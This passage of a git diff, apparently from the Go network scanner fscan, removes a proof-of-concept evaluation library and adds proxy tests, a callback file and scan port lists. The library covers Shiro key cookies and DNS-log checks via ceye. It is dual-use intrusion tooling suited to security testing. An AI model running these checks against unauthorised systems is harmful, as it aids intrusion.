err = yaml.Unmarshal(data, p)
if err != nil {
fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err)
return nil, err
}
return p, err
}
-795
View File
@@ -1,795 +0,0 @@
package lib
import (
"bytes"
"compress/gzip"
"crypto/md5"
"encoding/base64"
"encoding/hex"
"fmt"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/checker/decls"
"github.com/google/cel-go/common/types"
"github.com/google/cel-go/common/types/ref"
"github.com/google/cel-go/interpreter/functions"
"github.com/shadow1ng/fscan/Common"
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
"io"
"math/rand"
"net/http"
"net/url"
"regexp"
"strconv"
"strings"
"time"
)
// NewEnv 创建一个新的 CEL 环境
func NewEnv(c *CustomLib) (*cel.Env, error) {
return cel.NewEnv(cel.Lib(c))
}
// Evaluate 评估 CEL 表达式
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
// 空表达式默认返回 true
if expression == "" {
return types.Bool(true), nil
}
// 编译表达式
ast, issues := env.Compile(expression)
if issues.Err() != nil {
return nil, fmt.Errorf("表达式编译错误: %w", issues.Err())
}
// 创建程序
program, err := env.Program(ast)
if err != nil {
return nil, fmt.Errorf("程序创建错误: %w", err)
}
// 执行评估
result, _, err := program.Eval(params)
if err != nil {
return nil, fmt.Errorf("表达式评估错误: %w", err)
}
return result, nil
}
// UrlTypeToString 将 URL 结构体转换为字符串
func UrlTypeToString(u *UrlType) string {
var builder strings.Builder
// 处理 scheme 部分
if u.Scheme != "" {
builder.WriteString(u.Scheme)
builder.WriteByte(':')
}
// 处理 host 部分
if u.Scheme != "" || u.Host != "" {
if u.Host != "" || u.Path != "" {
builder.WriteString("//")
}
if host := u.Host; host != "" {
builder.WriteString(host)
}
}
// 处理 path 部分
path := u.Path
if path != "" && path[0] != '/' && u.Host != "" {
builder.WriteByte('/')
}
// 处理相对路径
if builder.Len() == 0 {
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
builder.WriteString("./")
}
}
builder.WriteString(path)
// 处理查询参数
if u.Query != "" {
builder.WriteByte('?')
builder.WriteString(u.Query)
}
// 处理片段标识符
if u.Fragment != "" {
builder.WriteByte('#')
builder.WriteString(u.Fragment)
}
return builder.String()
}
type CustomLib struct {
envOptions []cel.EnvOption
programOptions []cel.ProgramOption
}
func NewEnvOption() CustomLib {
c := CustomLib{}
c.envOptions = []cel.EnvOption{
cel.Container("lib"),
cel.Types(
&UrlType{},
&Request{},
&Response{},
&Reverse{},
),
cel.Declarations(
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
),
cel.Declarations(
// functions
decls.NewFunction("bcontains",
decls.NewInstanceOverload("bytes_bcontains_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
decls.NewFunction("bmatches",
decls.NewInstanceOverload("string_bmatches_bytes",
[]*exprpb.Type{decls.String, decls.Bytes},
decls.Bool)),
decls.NewFunction("md5",
decls.NewOverload("md5_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("randomInt",
decls.NewOverload("randomInt_int_int",
[]*exprpb.Type{decls.Int, decls.Int},
decls.Int)),
decls.NewFunction("randomLowercase",
decls.NewOverload("randomLowercase_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("randomUppercase",
decls.NewOverload("randomUppercase_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("randomString",
decls.NewOverload("randomString_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("substr",
decls.NewOverload("substr_string_int_int",
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
decls.String)),
decls.NewFunction("wait",
decls.NewInstanceOverload("reverse_wait_int",
[]*exprpb.Type{decls.Any, decls.Int},
decls.Bool)),
decls.NewFunction("icontains",
decls.NewInstanceOverload("icontains_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
decls.NewFunction("TDdate",
decls.NewOverload("tongda_date",
[]*exprpb.Type{},
decls.String)),
decls.NewFunction("shirokey",
decls.NewOverload("shiro_key",
[]*exprpb.Type{decls.String, decls.String},
decls.String)),
decls.NewFunction("startsWith",
decls.NewInstanceOverload("startsWith_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
decls.NewFunction("istartsWith",
decls.NewInstanceOverload("startsWith_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
decls.NewFunction("hexdecode",
decls.NewInstanceOverload("hexdecode",
[]*exprpb.Type{decls.String},
decls.Bytes)),
),
}
c.programOptions = []cel.ProgramOption{
cel.Functions(
&functions.Overload{
Operator: "bytes_bcontains_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
return types.Bool(bytes.Contains(v1, v2))
},
},
&functions.Overload{
Operator: "string_bmatches_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
}
ok, err := regexp.Match(string(v1), v2)
if err != nil {
return types.NewErr("%v", err)
}
return types.Bool(ok)
},
},
&functions.Overload{
Operator: "md5_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
}
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
},
},
&functions.Overload{
Operator: "randomInt_int_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
from, ok := lhs.(types.Int)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
}
to, ok := rhs.(types.Int)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
}
min, max := int(from), int(to)
return types.Int(rand.Intn(max-min) + min)
},
},
&functions.Overload{
Operator: "randomLowercase_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
}
return types.String(randomLowercase(int(n)))
},
},
&functions.Overload{
Operator: "randomUppercase_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
}
return types.String(randomUppercase(int(n)))
},
},
&functions.Overload{
Operator: "randomString_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type())
}
return types.String(randomString(int(n)))
},
},
&functions.Overload{
Operator: "base64_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
},
},
&functions.Overload{
Operator: "base64_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString(v))
},
},
&functions.Overload{
Operator: "base64Decode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "base64Decode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "urlencode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urlencode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urldecode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "urldecode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "substr_string_int_int",
Function: func(values ...ref.Val) ref.Val {
if len(values) == 3 {
str, ok := values[0].(types.String)
if !ok {
return types.NewErr("invalid string to 'substr'")
}
start, ok := values[1].(types.Int)
if !ok {
return types.NewErr("invalid start to 'substr'")
}
length, ok := values[2].(types.Int)
if !ok {
return types.NewErr("invalid length to 'substr'")
}
runes := []rune(str)
if start < 0 || length < 0 || int(start+length) > len(runes) {
return types.NewErr("invalid start or length to 'substr'")
}
return types.String(runes[start : start+length])
} else {
return types.NewErr("too many arguments to 'substr'")
}
},
},
&functions.Overload{
Operator: "reverse_wait_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
reverse, ok := lhs.Value().(*Reverse)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
}
timeout, ok := rhs.Value().(int64)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
}
return types.Bool(reverseCheck(reverse, timeout))
},
},
&functions.Overload{
Operator: "icontains_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
// 不区分大小写包含
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
&functions.Overload{
Operator: "tongda_date",
Function: func(value ...ref.Val) ref.Val {
return types.String(time.Now().Format("0601"))
},
},
&functions.Overload{
Operator: "shiro_key",
Binary: func(key ref.Val, mode ref.Val) ref.Val {
v1, ok := key.(types.String)
if !ok {
return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
}
v2, ok := mode.(types.String)
if !ok {
return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
}
cookie := GetShrioCookie(string(v1), string(v2))
if cookie == "" {
return types.NewErr("%v", "key b64decode failed")
}
return types.String(cookie)
},
},
&functions.Overload{
Operator: "startsWith_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
}
// 不区分大小写包含
return types.Bool(bytes.HasPrefix(v1, v2))
},
},
&functions.Overload{
Operator: "startsWith_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
}
// 不区分大小写包含
return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
&functions.Overload{
Operator: "hexdecode",
Unary: func(lhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
}
out, err := hex.DecodeString(string(v1))
if err != nil {
return types.ValOrErr(lhs, "hexdecode error: %v", err)
}
// 不区分大小写包含
return types.Bytes(out)
},
},
),
}
return c
}
// CompileOptions 返回环境编译选项
func (c *CustomLib) CompileOptions() []cel.EnvOption {
return c.envOptions
}
// ProgramOptions 返回程序运行选项
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
return c.programOptions
}
// UpdateCompileOptions 更新编译选项,处理不同类型的变量声明
func (c *CustomLib) UpdateCompileOptions(args StrMap) {
for _, item := range args {
key, value := item.Key, item.Value
// 根据函数前缀确定变量类型
var declaration *exprpb.Decl
switch {
case strings.HasPrefix(value, "randomInt"):
// randomInt 函数返回整型
declaration = decls.NewIdent(key, decls.Int, nil)
case strings.HasPrefix(value, "newReverse"):
// newReverse 函数返回 Reverse 对象
declaration = decls.NewIdent(key, decls.NewObjectType("lib.Reverse"), nil)
default:
// 默认声明为字符串类型
declaration = decls.NewIdent(key, decls.String, nil)
}
c.envOptions = append(c.envOptions, cel.Declarations(declaration))
}
}
// 初始化随机数生成器
var randSource = rand.New(rand.NewSource(time.Now().Unix()))
// randomLowercase 生成指定长度的小写字母随机字符串
func randomLowercase(n int) string {
const lowercase = "abcdefghijklmnopqrstuvwxyz"
return RandomStr(randSource, lowercase, n)
}
// randomUppercase 生成指定长度的大写字母随机字符串
func randomUppercase(n int) string {
const uppercase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
return RandomStr(randSource, uppercase, n)
}
// randomString 生成指定长度的随机字符串(包含大小写字母和数字)
func randomString(n int) string {
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return RandomStr(randSource, charset, n)
}
// reverseCheck 检查 DNS 记录是否存在
func reverseCheck(r *Reverse, timeout int64) bool {
// 检查必要条件
if ceyeApi == "" || r.Domain == "" || !Common.DnsLog {
return false
}
// 等待指定时间
time.Sleep(time.Second * time.Duration(timeout))
// 提取子域名
sub := strings.Split(r.Domain, ".")[0]
// 构造 API 请求 URL
apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s",
ceyeApi, sub)
// 创建并发送请求
req, _ := http.NewRequest("GET", apiURL, nil)
resp, err := DoRequest(req, false)
if err != nil {
return false
}
// 检查响应内容
hasData := !bytes.Contains(resp.Body, []byte(`"data": []`))
isOK := bytes.Contains(resp.Body, []byte(`"message": "OK"`))
if hasData && isOK {
fmt.Println(apiURL)
return true
}
return false
}
// RandomStr 生成指定长度的随机字符串
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
const (
// 用 6 位比特表示一个字母索引
letterIdxBits = 6
// 生成掩码:000111111
letterIdxMask = 1<<letterIdxBits - 1
// 63 位能存储的字母索引数量
letterIdxMax = 63 / letterIdxBits
)
// 预分配结果数组
randBytes := make([]byte, n)
// 使用位操作生成随机字符串
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
// 当可用的随机位用完时,重新获取随机数
if remain == 0 {
cache, remain = randSource.Int63(), letterIdxMax
}
// 获取字符集中的随机索引
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
randBytes[i] = letterBytes[idx]
i--
}
// 右移已使用的位,更新计数器
cache >>= letterIdxBits
remain--
}
return string(randBytes)
}
// DoRequest 执行 HTTP 请求
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
// 处理请求头
if req.Body != nil && req.Body != http.NoBody {
// 设置 Content-Length
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
// 如果未指定 Content-Type,设置默认值
if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
// 执行请求
var (
oResp *http.Response
err error
)
if redirect {
oResp, err = Client.Do(req)
} else {
oResp, err = ClientNoRedirect.Do(req)
}
if err != nil {
return nil, fmt.Errorf("请求执行失败: %w", err)
}
defer oResp.Body.Close()
// 解析响应
resp, err := ParseResponse(oResp)
if err != nil {
Common.LogError("响应解析失败: " + err.Error())
}
return resp, err
}
// ParseUrl 解析 URL 并转换为自定义 URL 类型
func ParseUrl(u *url.URL) *UrlType {
return &UrlType{
Scheme: u.Scheme,
Domain: u.Hostname(),
Host: u.Host,
Port: u.Port(),
Path: u.EscapedPath(),
Query: u.RawQuery,
Fragment: u.Fragment,
}
}
// ParseRequest 将标准 HTTP 请求转换为自定义请求对象
func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{
Method: oReq.Method,
Url: ParseUrl(oReq.URL),
Headers: make(map[string]string),
ContentType: oReq.Header.Get("Content-Type"),
}
// 复制请求头
for k := range oReq.Header {
req.Headers[k] = oReq.Header.Get(k)
}
// 处理请求体
if oReq.Body != nil && oReq.Body != http.NoBody {
data, err := io.ReadAll(oReq.Body)
if err != nil {
return nil, fmt.Errorf("读取请求体失败: %w", err)
}
req.Body = data
// 重新设置请求体,允许后续重复读取
oReq.Body = io.NopCloser(bytes.NewBuffer(data))
}
return req, nil
}
// ParseResponse 将标准 HTTP 响应转换为自定义响应对象
func ParseResponse(oResp *http.Response) (*Response, error) {
resp := Response{
Status: int32(oResp.StatusCode),
Url: ParseUrl(oResp.Request.URL),
Headers: make(map[string]string),
ContentType: oResp.Header.Get("Content-Type"),
}
// 复制响应头,合并多值头部为分号分隔的字符串
for k := range oResp.Header {
resp.Headers[k] = strings.Join(oResp.Header.Values(k), ";")
}
// 读取并解析响应体
body, err := getRespBody(oResp)
if err != nil {
return nil, fmt.Errorf("处理响应体失败: %w", err)
}
resp.Body = body
return &resp, nil
}
// getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩
func getRespBody(oResp *http.Response) ([]byte, error) {
// 读取原始响应体
body, err := io.ReadAll(oResp.Body)
if err != nil && err != io.EOF && len(body) == 0 {
return nil, err
}
// 处理 gzip 压缩
if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") {
reader, err := gzip.NewReader(bytes.NewReader(body))
if err != nil {
return body, nil // 如果解压失败,返回原始数据
}
defer reader.Close()
decompressed, err := io.ReadAll(reader)
if err != nil && err != io.EOF && len(decompressed) == 0{
return nil, err
}
if len(decompressed) == 0 && len(body) != 0{
return body, nil
}
return decompressed, nil
}
return body, nil
}
+257
View File
@@ -0,0 +1,257 @@
package common
import (
"testing"
"time"
"github.com/shadow1ng/fscan/common/logging"
"github.com/shadow1ng/fscan/common/proxy"
)
func TestGetLogLevelFromString(t *testing.T) {
tests := []struct {
name string
input string
expected logging.LogLevel
}{
// 标准情况
{"all lowercase", "all", logging.LevelAll},
{"ALL uppercase", "ALL", logging.LevelAll},
{"error lowercase", "error", logging.LevelError},
{"ERROR uppercase", "ERROR", logging.LevelError},
{"base lowercase", "base", logging.LevelBase},
{"BASE uppercase", "BASE", logging.LevelBase},
{"info lowercase", "info", logging.LevelInfo},
{"INFO uppercase", "INFO", logging.LevelInfo},
{"success lowercase", "success", logging.LevelSuccess},
{"SUCCESS uppercase", "SUCCESS", logging.LevelSuccess},
{"debug lowercase", "debug", logging.LevelDebug},
{"DEBUG uppercase", "DEBUG", logging.LevelDebug},
// 组合情况
{"info,success", "info,success", logging.LevelInfoSuccess},
{"base,info,success", "base,info,success", logging.LevelBaseInfoSuccess},
{"BASE_INFO_SUCCESS", "BASE_INFO_SUCCESS", logging.LevelBaseInfoSuccess},
// 边界情况
{"empty string", "", logging.LevelInfoSuccess},
{"unknown value", "unknown", logging.LevelInfoSuccess},
{"random string", "foobar", logging.LevelInfoSuccess},
{"mixed case", "InFo", logging.LevelInfo}, // ToLower后匹配"info"
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := getLogLevelFromString(tt.input)
if result != tt.expected {
t.Errorf("getLogLevelFromString(%q) = %v, want %v", tt.input, result, tt.expected)
}
})
}
}
func TestCreateProxyConfig(t *testing.T) {
fv := GetFlagVars()
// 保存原始值并在测试后恢复
origSocks5 := fv.Socks5Proxy
origHTTP := fv.HTTPProxy
defer func() {
fv.Socks5Proxy = origSocks5
fv.HTTPProxy = origHTTP
}()
tests := []struct {
name string
socks5Proxy string
httpProxy string
timeout time.Duration
expectedType proxy.ProxyType
expectedAddr string
expectedUser string
expectedPass string
}{
{
name: "no proxy",
socks5Proxy: "",
httpProxy: "",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeNone,
expectedAddr: "",
expectedUser: "",
expectedPass: "",
},
{
name: "socks5 simple address",
socks5Proxy: "127.0.0.1:1080",
httpProxy: "",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeSOCKS5,
expectedAddr: "127.0.0.1:1080",
expectedUser: "",
expectedPass: "",
},
{
name: "socks5 with protocol prefix",
socks5Proxy: "socks5://127.0.0.1:1080",
httpProxy: "",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeSOCKS5,
expectedAddr: "127.0.0.1:1080",
expectedUser: "",
expectedPass: "",
},
{
name: "socks5 with auth",
socks5Proxy: "socks5://user:[email protected]:1080",
httpProxy: "",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeSOCKS5,
expectedAddr: "127.0.0.1:1080",
expectedUser: "user",
expectedPass: "pass",
},
{
name: "socks5 with auth no protocol",
socks5Proxy: "user:[email protected]:1080",
httpProxy: "",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeSOCKS5,
expectedAddr: "127.0.0.1:1080",
expectedUser: "user",
expectedPass: "pass",
},
{
name: "http proxy simple",
socks5Proxy: "",
httpProxy: "http://127.0.0.1:8080",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeHTTP,
expectedAddr: "127.0.0.1:8080",
expectedUser: "",
expectedPass: "",
},
{
name: "https proxy",
socks5Proxy: "",
httpProxy: "https://127.0.0.1:8443",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeHTTPS,
expectedAddr: "127.0.0.1:8443",
expectedUser: "",
expectedPass: "",
},
{
name: "http proxy with auth",
socks5Proxy: "",
httpProxy: "http://user:[email protected]:8080",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeHTTP,
expectedAddr: "127.0.0.1:8080",
expectedUser: "user",
expectedPass: "pass",
},
{
name: "socks5 priority over http",
socks5Proxy: "127.0.0.1:1080",
httpProxy: "http://127.0.0.1:8080",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeSOCKS5,
expectedAddr: "127.0.0.1:1080",
expectedUser: "",
expectedPass: "",
},
{
name: "socks5 with username only",
socks5Proxy: "socks5://[email protected]:1080",
httpProxy: "",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeSOCKS5,
expectedAddr: "127.0.0.1:1080",
expectedUser: "user",
expectedPass: "",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// 设置FlagVars
fv.Socks5Proxy = tt.socks5Proxy
fv.HTTPProxy = tt.httpProxy
// 调用函数
config := createProxyConfig(tt.timeout)
// 验证结果
if config.Type != tt.expectedType {
t.Errorf("Type = %v, want %v", config.Type, tt.expectedType)
}
if config.Address != tt.expectedAddr {
t.Errorf("Address = %q, want %q", config.Address, tt.expectedAddr)
}
if config.Username != tt.expectedUser {
t.Errorf("Username = %q, want %q", config.Username, tt.expectedUser)
}
if config.Password != tt.expectedPass {
t.Errorf("Password = %q, want %q", config.Password, tt.expectedPass)
}
if config.Timeout != tt.timeout {
t.Errorf("Timeout = %v, want %v", config.Timeout, tt.timeout)
}
})
}
}
func TestCreateProxyConfigEdgeCases(t *testing.T) {
fv := GetFlagVars()
origSocks5 := fv.Socks5Proxy
origHTTP := fv.HTTPProxy
defer func() {
fv.Socks5Proxy = origSocks5
fv.HTTPProxy = origHTTP
}()
t.Run("invalid socks5 url fallback", func(t *testing.T) {
fv.Socks5Proxy = "://invalid"
fv.HTTPProxy = ""
config := createProxyConfig(5 * time.Second)
// 即使 URL 解析失败,也应该回退到原始值或解析后的 Host
if config.Type != proxy.ProxyTypeSOCKS5 {
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeSOCKS5)
}
// URL 解析后提取 Host,对于 "://invalid" 会得到 ":"
if config.Address == "" {
t.Error("Address should not be empty")
}
})
t.Run("invalid http url fallback", func(t *testing.T) {
fv.Socks5Proxy = ""
fv.HTTPProxy = "://invalid"
config := createProxyConfig(5 * time.Second)
if config.Type != proxy.ProxyTypeHTTP {
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeHTTP)
}
// URL 解析后提取 Host,对于无效 URL 可能得到非预期值
if config.Address == "" {
t.Error("Address should not be empty")
}
})
t.Run("empty password with username", func(t *testing.T) {
fv.Socks5Proxy = "socks5://user:@127.0.0.1:1080"
fv.HTTPProxy = ""
config := createProxyConfig(5 * time.Second)
if config.Username != "user" {
t.Errorf("Username = %q, want %q", config.Username, "user")
}
if config.Password != "" {
t.Errorf("Password = %q, want empty string", config.Password)
}
})
}
+36
View File
@@ -0,0 +1,36 @@
package common
import "sync"
// ResultCallback 扫描结果回调函数类型
type ResultCallback func(result interface{})
var (
resultCallback ResultCallback
callbackMu sync.RWMutex
)
// SetResultCallback 设置结果回调函数(Web模式使用)
func SetResultCallback(cb ResultCallback) {
callbackMu.Lock()
defer callbackMu.Unlock()
resultCallback = cb
}
// NotifyResult 通知结果给回调函数
func NotifyResult(result interface{}) {
callbackMu.RLock()
cb := resultCallback
callbackMu.RUnlock()
if cb != nil {
cb(result)
}
}
// ClearResultCallback 清除结果回调函数
func ClearResultCallback() {
callbackMu.Lock()
defer callbackMu.Unlock()
resultCallback = nil
}
+266
View File
@@ -0,0 +1,266 @@
package config
// PocInfo POC详细信息结构 - 保留给webscan使用
type PocInfo struct {
Target string `json:"target"`
PocName string `json:"poc_name"`
}
// CredentialPair 精确的用户名密码对
type CredentialPair struct {
Username string `json:"username"`
Password string `json:"password"`
}
// =============================================================================
// 端口组常量 - 从common/constants.go迁移
// =============================================================================
// 预定义端口组 - 字符串格式,用于命令行参数默认值
var (
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印 (Issue #517)
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
// MainPorts 主要扫描端口 (约150个)
// 包含: 基础服务、远程管理、数据库、消息队列、Web中间件、容器云、监控、安全设备等
MainPorts = "" +
// 基础服务 (21-995)
"21,22,23,25,53,80,81,88,110,111,135,139,143,161,389,443,445,465,502,512,513,514,515,548,554,587,623,636,873,902,993,995," +
// 代理/隧道 (1080-1883)
"1080,1099,1194,1433,1434,1521,1522,1525,1723,1883," +
// 远程/数据库 (2049-3690)
"2049,2121,2181,2200,2222,2375,2376,2379,2380,3000,3128,3268,3269,3306,3389,3690," +
// Java/中间件 (4369-5986)
"4369,4444,4848,5000,5005,5044,5060,5432,5601,5631,5632,5671,5672,5900,5984,5985,5986," +
// 缓存/数据库 (6000-6667)
"6000,6379,6380,6443,6666,6667," +
// Web/中间件 (7001-9999)
